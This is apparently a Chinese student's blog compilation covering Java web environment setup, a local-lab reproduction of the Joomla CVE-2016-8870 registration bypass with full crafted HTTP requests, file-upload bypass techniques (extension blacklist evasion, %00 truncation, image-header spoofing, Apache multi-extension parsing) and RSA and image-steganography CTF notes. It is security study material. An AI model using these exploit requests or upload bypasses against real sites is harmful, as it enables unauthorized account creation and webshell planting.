单纯是怕下次环境崩了又来重新搭建查百度浪费时间。
dalao们可以忽视这个了(…

配置环境

老师教学用的myeclipse。
然后就去找myeclipse的mac破解版,结果发现10版本的在mac上好像不能破解…

用软件一直到替换文件成功都还是没问题的。
然后打开,报错…好像是说因为软件环境被更改了。

尝试了很久最后还是向虚拟机势力妥协。
eclipse+tomcat本来说做备选方案的,然后发现,虚拟机做也挺快的就懒得去弄了。
然后按照教程配置环境,看的是

http://blog.csdn.NET/qq_25827845/article/details/53982209 冷血之心的博客

然后按照教程配置java环境,在系统变量里添加JAVA_HOME等,安装配置tomcat(关闭它自带的tomcat然后添加自己的路径),启动发布项目等…

404超值套餐

project未部署

如果在浏览器中访问项目index.jsp显示404最普通的一个原因是project没有部署,在tomcat文件目录下的conf/server.xml
添加

Context path="/test1" docBase="C:\Users\Jonah\Workspaces\MyEclipse 10\test1\WebRoot\" reloadable="true"/>

1.png
然后在localhost访问test1或者test1/index.jsp就可以直接看到了。
记得要重启一下tomcat。

路径错误

在做请求与响应的时候,一开始form的action那里直接复制的java文件的绝对路径。
2.png然后不能访问。

直接把action那里改成web.xml中servlet-mapping中路径就可以了。
3.png
4.png
就可以了。

其他

然后…其他地方都检查没问题的时候,还是没办法跳转。
提交按钮可以点但是什么都没发生。
仔细看了一下,form那行有个警告。
再仔细看了下,原来把form写成了from,编译器不能识别。
orz
然后zxc这人之前还笑我来着,结果自己也把form的method部分写错了一直查不到原因hhhhhhhhhhhh

package包报错

做请求与响应的时候,在src创建一个servlet的java文件,然后发现java文件的package包报错

multipe markers at this line the type java.objectinputstr xxx

原因是系统用的jdk1.8的jre版本过高。
解决方法:

方法1.选择Eclipse的WindowPreferencesJavaCompiler,把Compiler compliance level从1.5改成1.6;

方法2.右击project选择最后一个properties选择左侧的java compiler,勾选里面的框框,把java编辑器版本都改成1.6;

方法3.右击project下的 JRE System Library[JavaSE-1.5]Properties,Execution environment 
选择“JavaSE-1.6(JDK1.6.0_10)”,点击确定即可。

我用的方法三解决。

工程消失

更新…

在写完这个文章的当天晚上,在帮室友看她的问题,然后想看下自己的代码。因为我的虚拟机是放在移动硬盘里的,然后移动硬盘的盒子的线…好像有点接触问题(
win打开后,硬盘弹了。
修复了几次。
结果里面有的文件损坏了。(比如迅雷就gg了,不过这个没什么关系
其他的还没看,大部分东西都有备份。)
myeclipse出了问题,(配环境真的很鹅心短时间内不想再弄了),左边的工作空间全部消失,也不能在面板新建项目。还好在电脑里的工程啥的没消失。

然后查了一下出现这个的情况。
有人说import之前的项目文件进去就行,发现按照该方法并没有用。
还有说是myeclipse自己换了工作空间。我看了一下,工作空间路径没有问题。

最后的解决是直接重置布局格式,恢复eclipse默认的布局格式。

window -> reset perspective

然后,左边的项目回来了,也可以新建项目什么的了。
哇真是吓死我了。
备份真的很重要啊(…

漏洞描述

Joomla是一个自由开源的内容管理系统,在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。

在这里仅分析CVE-2016-8870,利用该漏洞,攻击者可以在网站关闭注册的情况下注册用户(默认状态下用户需要用邮件激活,但需要开启注册功能才能激活)。Joomla官方已对此漏洞发布升级公告。

相关技术和工具简介

CVE:2016-8870
虚拟机:VMware Fusion
主机操作系统:MAC OSX
虚拟机操作系统:windows7
php建站环境:
phpstudy(PHP+MySQL+phpMyAdmin+ZendOptimizer)
抓包工具:burpsuite
测试浏览器:Mozilla Firefox

相关工具源码下载以及Web环境搭建过程

通过wget命令下载github上joomla对应漏洞版本。

wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz

然后解压到对应文件夹(WWW文件夹下)

在phpmyadmin里创建数据库表单。

1.jpg

按照提示搭建网站。

2.jpg
渗透环境搭建完毕。

相关代码分析

漏洞代码分析以及解决方法

存在漏洞的版本中我们可以看到一个有趣的现象,即存在两个用于用户注册的方法:
1.位于components/com_users/controllers/registration.php中的UsersControllerRegistration::register()
有代码检查是否允许注册。

// If registration is disabled - Redirect to login page. 
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) 
{ 
$this->setRedirect(JRoute::_('index.php?
option=com_users&view=login', false));
 return false; 
 }

通过测试可知正常的注册默认使用的是UsersControllerRegistration::register()

2.在位于components/com_users/controllers/user.php中的UsersControllerUser::register()
没有代码检查是否允许注册。

可以通过第二种注册方式绕过注册检验。

修复方案:升级到joomla最新版本

实际情况

实际攻击时,joomla默认是关闭注册的。
因为有session验证,需要更改发包的cookie和token。

可通过访问index.php抓包获取cookie。
3.jpg
通过看index.php源码获取token。
4.jpg
构造请求包同之前的抓包内容相同,只需要更改cookie和token。

渗透测试过程

通过burpsuite抓包发送注册请求

主页默认注册功能关闭。
5.jpg
进入后台,打开注册功能。
回到主页。
6.jpg

进入创建账号
7.jpg
打开burp抓包。
8.jpg
请求包如下:

POST /Joomla_3.6.3-Stable-Full_Package/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/Joomla_3.6.3-Stable-Full_Package/index.php/component/users/?view=registration
Content-Type: multipart/form-data; boundary=---------------------------191272338010927
Content-Length: 1067
Cookie: 992f2039e48467709d6be10405b3f315=u1fbtsgoroljfrch92fp06gkb6; 9d4bb4a09f511681369671a08beff228=llas1g23eocp6ollka96n1ab47; db40ec8731a11c0a68bac5e22ce3f893=nqfmmiplrb6f9s8e5gbgj9e4v2; 83db29fcaa4faf18baf150a30cbe21e2=4rdpvfmheaqbe9nnseccqju6c3
Connection: keep-alive
    Upgrade-Insecure-Requests: 1

-----------------------------191272338010927
Content-Disposition: form-data; name="jform[name]"

hacker1
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[username]"

hacker1
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[password1]"

123456
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[password2]"

123456
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[email1]"

2@qq.com
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[email2]"

2@qq.com
-----------------------------191272338010927
Content-Disposition: form-data; name="option"

com_users
-----------------------------191272338010927
Content-Disposition: form-data; name="task"

registration.register
-----------------------------191272338010927
Content-Disposition: form-data; name="6daaa4fabc7a555dc064a9b67d2701f4"

1
-----------------------------191272338010927--

在后台关闭注册。可以看到首页并没有注册选项。
9.jpg
10.jpg
注册功能关闭了。
此时发请求包并不能注册。
在burp里将将请求包进行如下修改即可使用存在漏洞的函数进行注册:

registration.register -> user.register
jform[*] -> user[*]

更改后的请求包:

POST  /Joomla_3.6.3-Stable-Full_Package/index.php/component/users/?task= user.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/Joomla_3.6.3-Stable-Full_Package/index.php/component/users/?view=registration
Content-Type: multipart/form-data; boundary=---------------------------191272338010927
Content-Length: 1067
Cookie: 992f2039e48467709d6be10405b3f315=u1fbtsgoroljfrch92fp06gkb6; 9d4bb4a09f511681369671a08beff228=llas1g23eocp6ollka96n1ab47; db40ec8731a11c0a68bac5e22ce3f893=nqfmmiplrb6f9s8e5gbgj9e4v2; 83db29fcaa4faf18baf150a30cbe21e2=4rdpvfmheaqbe9nnseccqju6c3
Connection: keep-alive
Upgrade-Insecure-Requests: 1

-----------------------------191272338010927
Content-Disposition: form-data; name="user[name]"

hacker1
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [username]"

hacker1
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [password1]"

123456
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [password2]"

123456
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [email1]"

2@qq.com
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [email2]"

2@qq.com
-----------------------------191272338010927
Content-Disposition: form-data; name="option"

com_users
-----------------------------191272338010927
Content-Disposition: form-data; name="task"

user.register
-----------------------------191272338010927
Content-Disposition: form-data; name="6daaa4fabc7a555dc064a9b67d2701f4"

1
-----------------------------191272338010927--

发包,然后后台可以看到在关闭注册的情况下,注册成功。
11.jpg

漏洞复现完成。

补丁修复

官方删除了UsersControllerUser::register()的注册方法。

#

emmmmmmm之前班上小组分环境,我们组刚好做的文件上传漏洞。当时考察的是检测文件头验证绕过和apache解析漏洞。于是做一些相关总结。

文件上传漏洞是个非常常见且容易理解的一个漏洞,有很多的漏洞场景和利用方式。

现今文件上传的校验一般分为:
客户端javascript校验(也即是网页上一段javascript脚本校验上传文件的后缀名,此时并未发送数据包,可以通过burp等修改直接绕过)
服务器端校验(包括常见的扩展名黑白名单校验,文件头校验,content-type字段校验)
waf设备校验

基础

未过滤

<?php
move_upload_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
?>

直接用move_ upload_file函数将上传的临时文件复制到新文件,也可理解为移动到新的位置。
在上古web安全还不太普及的时期,文件上传漏洞还有很多没有限制文件格式或者没有在服务器端设置过滤的情况。

黑名单过滤

    <?php  
$BlackList = array('asp','php','jsp','php5','asa','aspx');//黑名单  
if (isset($_POST["submit"])){  
    $name = $_FILES['file']['name']; //接收文件名  
    echo $name;  
    $extension = substr(strrchr($name,"."),1);//得到扩展名  
    $boo = false;  

    foreach ($BlackList as $key=>$value){  
        if ($value==$extension){//迭代判断是否有命中  
            $boo=true;  
            break;//命中之后直接退出循环  
        }  
    }  

    if(!$boo){//如果没有命中,则开始文件上传操作  
        $size=$_FILES['file']['size'];//接收文件大小  
        $tmp=$_FILES['file']['tmp_name'];//临时路径  
        move_uploaded_file($tmp,$name);//移动临时文件到当前文件目录  
        echo "文件上传成功!<br/> path:".$name;  
    }else {  
        echo "文件不合法!!";  
    }  

}  
    ?> //摘自csdn日昇月恆的代码

黑名单里只包括了’asp’,’php’,’jsp’,’php5’,’asa’,’aspx’
可以文件名pHP大小写绕过,或者用黑名单里没有的后缀文件进行攻击,或者文件名后加.或空格。

如果php版本为5.3.4以下或php的magic_quotes_gpc为OFF状态,可以用%00截断写入绕过(1.php%00.jpg验证时的扩展名为jpg而写入时被截断最终写入的是1.php)

用白名单过滤比黑名单限制更全。

文件头函数及绕过方法

部分服务器会用一些函数检查文件头去判断文件是不是图片文件。

<?php
print_r(getimagesize('1.gif'));
?>

getimagesize()函数用于取得图像大小,如果不是有效图像则会返回false并报错。其中负责判断文件类型的函数是php_getimagetype,其是根据文件流前几个字节(文件头)判断.

<?php

  if (exif_imagetype("image.gif") != IMAGETYPE_GIF) {
echo "The picture is not a gif";
}

?>

exifimagetype()读取一个图像的第一个字节并检查其签名,用来避免调用其它exif函数用到了不支持的文件类型上或和$_SERVER[‘HTTP _ACCEPT’]结合使用来检查浏览器是否可以显示某个指定的图像。

绕过方法:只要在php代码前加上一行GIF98就可以进行欺骗,或者在十六进制编辑器里加上图片的文件头保存。篡改图片的Exif,在其中添加php脚本。(比如通过GIM新建图片)
然后看到有人做题用copy命令

copy 1.jpg+2.php test.jpg

将1.jpg和2.php合并为test.jpg….这样。

apache解析漏洞原理

apache解析文件的规则是当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。

 配置相关
(1)如果在apache的conf里有这样一行配置————AddHandler php5-script.php 这时只要文件名里包含.php即使文件名是x.php.jpg也会以php来执行。
(2)如果在apache的conf里有这样一行配置————AddType application/x=httpd-php.jpg 即使扩展名是.jpg,一样能以php方式执行。

解析漏洞与apache和php版本无关,是运维人员错误配置AddHandler,结合apache从后往前解析多扩展文件的特性造成的漏洞。

很多人认为apache解析漏洞仅存于低版本的apache中,但实际上apache解析漏洞在apache1.x和2.x版本中都有。只是在2.x服务器解析规则中需要配置apache信息才能使得php能够被解析。

当时小组放环境测试的时候发现,上传的木马文件的源码直接爆出来了,x.php.jpg并没有被执行。在网上查了原因后改了服务器解析规则,出题环境才测试正常。

因为在/etc/mime.types,php类型是被注释掉的,也就是说apache本身不“识别”php。

而服务器解析文件里有个filesmatch,是指定PHP后缀的文件调用php模块去执行。

在/etc/apache2/mods-enabled/php5.conf中

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
  SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
  SetHandler application/x-httpd-php-source
  # Deny access to raw php sources by default
  # To re-enable it's recommended to enable access to the files
  # only in specific virtual host or directory
  Order Deny,Allow
  Deny from all
</FilesMatch>
 # Deny access to files without filename (e.g. '.php')
 <FilesMatch "^\.ph(p[345]?|t|tml|ps)$">
  Order Deny,Allow
  Deny from all
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
  <Directory /home/*/public_html>
      php_admin_flag engine Off
  </Directory>
</IfModule>

第一行通过正则表达如果文件后缀是php/php3/php4/php5/pht/phptml/phps就把文件交给php_module来处理,结果再返回给apache,之后再由apache发送给浏览器。
通过这样apache就把以上文件解析了。
如果将正则中的$改为.也就是正则变为”.+.ph(p[345]?|t|tml).“
重启apache让配置文件生效,再在浏览器中访问如a.php.jpg(或者其他无法识别的扩展名)的文件,这些文件都会被当作php执行了。浏览器中看到的将会是文件执行结果。

另外,当分别安装apache和php,以及一些集成环境(lamp)中,如果运维人员自己配置apache信息或者集成环境里已经给出解析语句使得能够php能被解析
在/etc/httpd/conf/httpd.conf中如果有

#AddHandler type-map var
AddHandler php5-script .php 

那么php文件就能被解析了。
所以如果将 AddHandler php5-script .php 注释掉,也不会存在该漏洞。

RSA

好好学数学啊小同志!

…先简单说一下rsa相关的东西。

RSA 算法的可靠性由其极大整数因数分解的难度决定。

也就是说,极大整数做因数分解愈困难,RSA 算法愈可靠。

在还没找到一种快速因数分解的算法之前,rsa加密还是很可靠的。目前短的 RSA 秘钥可能被强力方式破解。而只要密钥长度足够长,用RSA加密的信息实际上是不能被解破的。(只要我跑的足够快,寂寞就追不上我(闭嘴))

最近稍微看了一下相关的东西。然后整理了一下www

a^b是a的b次方啦…忘了应该怎么打出来了orz…

RSA算法涉及到的参数:

p : 大质数p
q : 大质数q
n : n=p*q

欧拉函数:
φ(n) = φ(p) * φ(q) = (p − 1)(q − 1) = n − (p + q − 1)

e : encryption key (public key) (又称加密指数)

d : decryption key (private key) e对于φ(n)的模反元素即e模φ(n)的逆元

m:message(m < n),明文。

c : ciphertext,c≡m^e(mod n),即密文

加密过程:

1.随机选择两个不相等的质数p和q。

2.计算p和q的乘积n。

n的长度就是密钥长度。

如n为3233写成二进制是110010100001,一共有12位,所以这个密钥就是12位。(实际应用中,RSA密钥一般是1024位,重要场合则为2048位。)

3.计算n的欧拉函数φ(n)

φ(n) = (p-1)(q-1)

4.随机选择一个整数e,条件是1< e < φ(n),且e与φ(n) 互质,将e作为公钥。

5.计算e关于φ(n)的模反元素d,作为私钥。

计算过程:

模反元素即模逆元(参考离散数学或者信安数学基础或者百科学习)

简单来说,就是一个整数d可以使ed乘积被φ(n)除的余数为1:
ed ≡ 1 (mod φ(n))(也就是ed%φ(n)=1)
即求解

ed+φ(n)x=1(x未知,但是求得e和φ(n)就可以通过扩展欧几里得算法得到d的值,具体可以参考最底下ctf中rsa题目解析第二个链接。)

公开e,保留d。

公钥为(n,e),私钥为(n,d)

针对明文M,进行加密:C=(M^e)%n,得到的C即为密文

针对密文C,进行解密,M=(C^d)%n,得到的M即为明文

而在ctf比赛里,一般会给出n值和e值,然后可以在http://factordb.com/或者大质数分解工具里因式分解,得到p,q。然后通过p,q算出φ(n)。通过φ(n)和e,算出d。

jarvis oj一道简单的rsa:veryeasyrsa

已知RSA公钥生成参数:

p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
e = 65537

求d 

py脚本如下。
modinv函数就是求模逆的函数。

import math


def egcd(a, b):
     if a == 0:
         return (b, 0, 1)
     else:
         g, y, x = egcd(b % a, a)
         return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not    exist')
    else:
        return x % m


p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
e = 65537
d = modinv(e, (p - 1) * (q - 1))
print d

明文就是m=pow(c,d,n)

(ps.当e=1时,c≡ m mod n,因为n远大于c,m=c.也就是明文密文是一样的…实际上没加密啦…)

有的时候,会出现多个n的公约数分解.

比如给了2个n(n1,n2),q的值相同(而p不同所以有多个n),e的值和密文c。py脚本如下:

def gcd(a, b):
    if a < b:
        a, b = b, a

    while b != 0:
        temp = a % b
        a = b
        b = temp

    return a



n1=。。。
n2=。。。

p = gcd(n1,n2)

print p,"\n\n",n1 // p

就可以算出q的值啦。

也就是最后输出的n1除以p

老方法,知道p,q就知道φ(n)。通过φ(n)和e,算出d。

其他:

一般题目不会直接给参数,可能给比如pem文件(后缀.enc/.pem),可以通过linux下openssl命令提取。linux下命令:

openssl rsa -pubin -text -modulus -in warmup -in 喵.pem

openssl rsautl -encrypt -in FLAG -inkey public.pem -pubin -out 喵.enc

在p,q的取值差异过大,或者p,q的取值过于相近的时候,Format算法与Pollard rho算法都可以很快将n分解成功。

(利用开源项目yafu可以自动化实现,语句直接:factor(n)

也可以通过linux下的openssl命令提取。

RSA入门级别的大概就这样…
以后大概会补充后续?…

学习了之后的感受是…
我,我以后一定好好听数学课!(ry

具体算法解析:
   http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html

关于rsa公钥指数:
   http://blog.csdn.net/hherima/article/details/52461759

关于ctf中rsa的题目解析:

   http://bobao.360.cn/learning/detail/3058.html
(算法思路)

   http://blog.csdn.net/qq_18661257/article/details/54563017


   http://blog.csdn.net/veritas501/article/details/55257957
(常见类型)

yafu使用:

http://www.mamicode.com/info-detail-1999309.html

记一道MISC图片题(拖延癌晚期)

几个月前实验班考核的一个杂项

这个题是今年实验班考核的时候一个学长出的300分的杂项,然后当时没做出来…回来之后在学长的提示下做出来了otz…

就是一道脑洞题…不过学到了一些新的工具使用。所以总结一下。

最近清理window虚拟机找到了一些做的时候的截图什么的想起来了这事。觉得有的东西还是觉得记录一下。(虽然本拖延癌晚期患者已经拖了几个月…)

原本好像是zip伪加密方式(记不太清楚了),做出来可以得到一张jpg图。

这是一张守望屁股里黑百合的jpg图。
wm.jpg

用16进制分析工具分析一下。
ffd8文件头没问题,搜索一下文件尾ffd9。

a.png

可以看到ffd9的文件后包含了一些其他的东西。
这是16进制的编码,通过在线进制转换回ascii码,得到一堆的坐标点。

2.png

学习到了一个工具…能将坐标点转化成图像的——gnuplot。

通过命令plot直接就能将一组坐标转化为图片,真四神奇啊!

但是用gnuplot跑的时候发现有个问题…它不能直接识别(x,y)这种格式的。

我:“……”

233.jpg

…然后找了很久,找了个文本编辑器。editplus,轻量级,还能直接转html格式,以及统计字数什么的…非常方便,运用替换(,)为空,然后首行缩进,将文本导出为3.txt。

5.png
这种格式)

然后运行gnuplot。

6.png

然后扫描二维码flag就出来了…

总结一下常用的图片文件头标识:
JPEG/JPG - 文件头标识 (2 bytes): FF D8 FF,文件结束标识 (2 bytes): FF, D9     
PNG - 文件头标识 (8 bytes)   89 50 4E 47 0D 0A 1A 0A    
GIF - 文件头标识 (6 bytes)   47 49 46 38 39(37) 61                        G  I  F  8  9 (7)  a
BMP - 文件头标识 (2 bytes)   42 4D      B  M
以及
gnuplot直接用“plot 函数/文件”可以导出图片(更复杂的操作应该还用不上)

这道题就是脑洞题…

因为以前做的图片题都是hex/binwalk+foremost/stegsolve/(上次实验班考核还新get了一个silenteye的图片加密解密工具)

不过get了新的姿势,还是记一下。